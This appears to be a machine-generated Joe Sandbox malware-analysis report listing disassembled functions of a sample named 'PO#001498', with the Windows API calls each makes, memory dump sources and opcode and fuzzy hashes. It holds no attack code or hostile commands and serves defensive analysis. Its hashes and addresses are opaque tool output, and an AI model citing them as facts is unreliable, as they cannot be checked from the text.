                                                                                                                                                                                • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                                                • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                                                                                                • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                                                • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                                                                                                Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4023252218-0
                                                                                                                                                                                • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                                • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                                                                                                                • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                                • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                                                                                                                Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                                                                                                                • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                                                                                                                • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                                                                                                                • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                                                                                                                • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3741023627-0
                                                                                                                                                                                • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                                • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                                                                                                                • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                                • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                                                                                                                Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1489400265-0
                                                                                                                                                                                • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                                • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                                                                                                                • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                                • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                                                                                                                Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1042038666-0
                                                                                                                                                                                • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                                • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                                                                                                                • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                                • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                                                                                                                Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2625713937-0
                                                                                                                                                                                • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                                • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                                                                                                • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                                • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                                                                                                Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                                • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                                • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 132634196-0
                                                                                                                                                                                • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                                • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                                                                                                                • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                                • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                                                                                                                Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                                                                                                                  • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                                • __getptd_noexit.LIBCMT ref: 00415620
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                                                                                                                • __freeptd.LIBCMT ref: 0041563B
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 00415643
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3798957060-0
                                                                                                                                                                                • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                                • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                                                                                                                • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                                • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                                                                                                                Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                                • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                                • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1537469427-0
                                                                                                                                                                                • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                                • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                                                                                                                • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                                • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                                                                                                                Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _malloc
                                                                                                                                                                                • String ID: Default$|k
                                                                                                                                                                                • API String ID: 1579825452-2254895183
                                                                                                                                                                                • Opcode ID: becd5b91230c6b3cce4541e76e7ed3885ca0e1da08972e6e30288734a84e99a9
                                                                                                                                                                                • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                                                                                                • Opcode Fuzzy Hash: becd5b91230c6b3cce4541e76e7ed3885ca0e1da08972e6e30288734a84e99a9
                                                                                                                                                                                • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                                                                                                Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _memcmp
                                                                                                                                                                                • String ID: '$[$h
                                                                                                                                                                                • API String ID: 2931989736-1224472061
                                                                                                                                                                                • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                                • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                                                                                                                • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                                • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                                                                                                                Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _strncmp
                                                                                                                                                                                • String ID: >$R$U
                                                                                                                                                                                • API String ID: 909875538-1924298640
                                                                                                                                                                                • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                                • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                                                                                                                • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                                • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                                                                                                                Function 0046CDA0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                                                                                                                                • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                                                                                                                                • CoUninitialize.OLE32 ref: 0046CE50
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                                • String ID: .lnk
                                                                                                                                                                                • API String ID: 886957087-24824748
                                                                                                                                                                                • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                                • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                                                                                                                                • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                                • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                                                                                                                                Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen
                                                                                                                                                                                • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                                                                                                • API String ID: 176396367-557222456
